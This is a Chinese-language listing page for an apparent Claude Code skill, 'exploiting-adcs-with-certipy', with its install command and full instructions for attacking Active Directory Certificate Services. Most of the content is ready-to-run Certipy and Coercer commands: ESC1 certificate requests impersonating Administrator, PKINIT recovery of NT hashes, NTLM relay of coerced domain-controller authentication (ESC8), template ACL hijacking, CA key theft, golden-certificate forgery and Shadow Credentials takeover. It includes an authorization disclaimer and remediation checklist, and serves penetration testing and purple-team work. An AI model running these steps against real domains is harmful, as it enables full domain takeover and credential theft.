mcpField
E
exploiting-adcs-with-certipy

exploiting-adcs-with-certipy

github.com/mukul975安全35.2k35 次安装8 周前更新
代码仓库

关于 exploiting-adcs-with-certipy

这项安全技能介绍如何使用 Certipy 对 Microsoft Active Directory Certificate Services 进行授权评估,涵盖枚举、ESC 配置缺陷测试、证书认证及结果记录。

主要功能

  1. 01枚举 CA 与证书模板
  2. 02识别 ESC1–ESC16 配置缺陷
  3. 03申请证书并进行证书认证
  4. 04测试 NTLM 中继场景
  5. 05记录发现与修复建议

适用场景

  1. 01在渗透测试中评估 AD CS
  2. 02检查证书模板与 CA 的安全配置
  3. 03测试证书权限提升的检测能力
  4. 04为紫队演练生成检测遥测

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-adcs-with-certipy

安装后在 Claude Code 中输入/exploiting-adcs-with-certipy确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
standards.md
scripts/
agent.py

详细介绍

使用 Certipy 利用 AD CS

法律声明: 本技能仅用于经授权的安全测试和教育目的。Active Directory 证书服务攻击可能导致整个域被攻陷。仅在您拥有或已获得明确书面授权进行测试的系统上运行这些技术。未经授权的使用违反计算机欺诈相关法规,属于违法行为。

概述

Active Directory 证书服务(AD CS)是 Microsoft 的公钥基础设施角色,用于在 Windows 域内颁发证书,以实现身份验证、加密和签名。SpecterOps 研究人员 Will Schroeder 和 Lee Christensen 在他们 2021 年的白皮书 Certified Pre-Owned 中记录了一系列权限提升原语,并将其命名为 ESC1 至 ESC8。此后,社区将该目录扩展至 ESC16。由于映射到特权主体的证书可用于 PKINIT Kerberos 身份验证,攻击者一旦获得此类证书,就能在完全不知道密码的情况下以 Domain Admin 或 Domain Controller 身份通过身份验证——而且即使重置密码,该证书仍然有效。

Certipy(软件包 certipy-ad,由 Oliver Lyak / ly4k 维护)是 AD CS 事实上的攻击工具包。它是一款纯 Python 工具,可通过 LDAP/RPC 枚举证书颁发机构和模板、申请和伪造证书、执行 PKINIT/Schannel 身份验证、运行 Shadow Credentials 攻击,并将强制触发的 NTLM 身份验证中继到 AD CS HTTP 和 RPC 注册端点。Certipy 支持对完整的 ESC1-ESC16 范围进行检测和利用,使其成为 AD CS 评估的首选工具。来源:ly4k/Certipy 和 SpecterOps "Certified Pre-Owned"。

适用场景

  • 在 AD CS 属于范围内的内部渗透测试和红队行动中
  • 当低权限域立足点需要一条通往 Domain Admin / Domain Controller 的路径时
  • 验证证书模板 ACL 和 CA 配置是否已加固
  • 测试针对基于证书的权限提升的检测覆盖情况
  • 在紫队演练中生成 ESC1/ESC8 遥测数据,供蓝队调优

前提条件

  • 明确包含 AD CS 利用的授权行动范围
  • 一个立足点:任意低权限用户的有效域凭据(密码、NT 哈希或 Kerberos 票据)
  • 与 Domain Controller(LDAP/389、LDAPS/636)和 CA 主机的网络可达性
  • Python 3.10+(Certipy 5.x 需要 Python 3.12+)和一台 Linux 攻击主机
  • 安装 Certipy:
    # Recommended isolated install
    pipx install certipy-ad
    # Or with pip
    pip install certipy-ad
    # Verify
    certipy --version
    
  • 对于 ESC8 中继,您还需要一个强制触发工具(Coercer/PetitPotam)以及可达的受害机器账户

目标

  • 枚举林中的每个 CA、模板和注册端点
  • 确定哪些 ESC1-ESC16 错误配置可从当前主体被利用
  • 申请一张冒充特权目标的证书(ESC1 SAN 滥用)
  • 将强制触发的身份验证中继到 AD CS Web 注册,以获取 DC 证书(ESC8)
  • 使用伪造/签发的证书进行身份验证,以恢复 TGT 和 NT 哈希
  • 记录每项发现,并附上证据和修复建议

MITRE ATT&CK 映射

ID技术在本技能中的应用
T1649Steal or Forge Authentication Certificates申请、伪造和滥用 AD CS 证书(ESC1-ESC16)以特权主体身份通过身份验证

工作流

步骤 1:使用 certipy find 枚举 AD CS

收集 CA 和模板配置,并标记存在漏洞的模板。find 会运行 LDAP 和 RPC 查询,并生成 JSON、BloodHound 兼容的 ZIP 以及人类可读的文本报告。

# Full enumeration, only enabled templates, hide built-in admin ACEs
certipy find \
    -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -text -enabled -hide-admins

# Output only templates Certipy considers vulnerable
certipy find \
    -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

# Authenticate with an NT hash instead of a password
certipy find -u '[email protected]' -hashes ':fc525c9683e8fe067095ba2ddc971889' \
    -dc-ip 10.0.0.100 -vulnerable -stdout

查看输出中的 [!] Vulnerabilities 块。每项发现都标有 ESC1...ESC16,并附带受影响的模板/CA 名称。

步骤 2:利用 ESC1 —— 注册者提供的主题(SAN 滥用)

ESC1 模板允许低权限注册者指定任意 Subject Alternative Name,并包含 Client Authentication EKU。为一个特权 UPN 申请证书,并固定目标 SID(Certipy 会自动添加 SID 扩展,以满足 2022 年 5 月后的强映射补丁要求)。

certipy req \
    -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -target 'CA.CORP.LOCAL' \
    -ca 'CORP-CA' -template 'VulnUserTemplate' \
    -upn '[email protected]' \
    -sid 'S-1-5-21-1111111111-2222222222-3333333333-500'
# -> saves administrator.pfx
步骤 3:通过 certipy auth 使用证书进行身份验证

使用签发的 PFX 执行 PKINIT,获取 TGT,并恢复目标的 NT 哈希。

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100
# Output: a .ccache TGT and the recovered NT hash for administrator

如果 PKINIT 不可用,则回退到 Schannel/LDAP 身份验证:

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.100 -ldap-shell
步骤 4:利用 ESC8 —— 对 AD CS Web Enrollment 的 NTLM 中继

ESC8 滥用接受 NTLM 身份验证的 AD CS Web Enrollment 接口(/certsrv/)。启动 Certipy 的中继服务器,以 CA 的 HTTP 端点为攻击目标,然后强制域控制器向你的中继进行身份验证(强制认证相关内容见 Coercer 技能)。

# Terminal 1: relay coerced auth into web enrollment, request a DC cert
certipy relay -target 'http://CA.CORP.LOCAL' -template 'DomainController'

# Terminal 2: coerce DC1 to authenticate to the relay host (10.0.0.50)
coercer coerce -u 'attacker' -p 'Passw0rd!' -d corp.local \
    -t 10.0.0.10 -l 10.0.0.50

Certipy 会写入一个 dc.pfx。以 DC 机器账户身份进行身份验证并执行 DCSync:

certipy auth -pfx 'dc$.pfx' -dc-ip 10.0.0.100
步骤 5:利用 ESC4 —— 模板 ACL 劫持

如果你拥有对某个模板的写入权限,可以暂时将其重新配置为易受 ESC1 攻击的状态,实施利用后再恢复。

# Make the template vulnerable (save the original config first)
certipy template -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -template 'VulnTemplate' -write-default-configuration
# ... run Step 2 ESC1 request, then restore the saved configuration
步骤 6:伪造黄金证书(入侵后持久化)

在能够访问 CA 私钥的情况下(例如通过备份),可离线为任意主体伪造证书。

# Extract the CA certificate and private key from a compromised CA
certipy ca -backup -u '[email protected]' -hashes :<nthash> \
    -ca 'CORP-CA' -dc-ip 10.0.0.100

# Forge a certificate for any user using the CA key
certipy forge -ca-pfx 'CORP-CA.pfx' \
    -upn '[email protected]' \
    -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'
步骤 7:Shadow Credentials 捷径

如果你拥有对目标 msDS-KeyCredentialLink 的写入权限,Certipy 可以端到端接管该账户(参见专门的 Shadow Credentials 技能)。

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim-dc$'

工具和资源

资源用途链接
Certipy (ly4k)主要的 AD CS 攻击工具包https://github.com/ly4k/Certipy
Certipy Wiki命令参考和 ESC 说明https://github.com/ly4k/Certipy/wiki
Certified Pre-Owned (SpecterOps)最初的 ESC1-ESC8 研究https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
The Hacker Recipes — AD CS攻击演练https://www.thehacker.recipes/ad/movement/ad-cs
Impacket ntlmrelayx替代的 ESC8 中继https://github.com/fortra/impacket

ESC 漏洞参考

ESC错误配置
ESC1低权限模板上由注册者提供主题 + Client Auth EKU
ESC2Any Purpose / 无 EKU 的模板可被用作注册代理
ESC3注册权限宽松的 Enrollment Agent 模板
ESC4对模板具有写入权限(劫持为 ESC1)
ESC5PKI 对象(CA、NTAuthCertificates)上的 ACL 薄弱
ESC6CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 允许任意 SAN
ESC7危险的 Manage CA / Manage Certificates 权限
ESC8对 AD CS HTTP Web Enrollment 的 NTLM 中继
ESC9模板上没有安全扩展(szOID_NTDS_CA_SECURITY_EXT)
ESC10证书映射注册表设置薄弱
ESC11对 AD CS RPC (ICertPassage) 端点的 NTLM 中继
ESC13颁发策略链接到特权组(OID 组链接)
ESC15Application Policies 滥用(CVE-2024-49019,"EKUwu")
ESC16在 CA 范围内禁用安全扩展

验证标准

  • 运行了 certipy find -vulnerable,并生成了可利用的模板/CA 列表
  • 至少确认一个 ESC 错误配置,且 certipy req 成功
  • certipy auth 返回了被冒充特权账户的 TGT 和 NT 哈希
  • ESC8 中继(如果在范围内)获取了域控制器证书
  • 任何被修改的模板(ESC4)都已恢复到原始配置
  • 每个发现都记录了命令输出、受影响对象和修复措施
  • 签发的证书和 PFX 文件得到安全处理,并在项目结束时删除

评论

支持 Markdown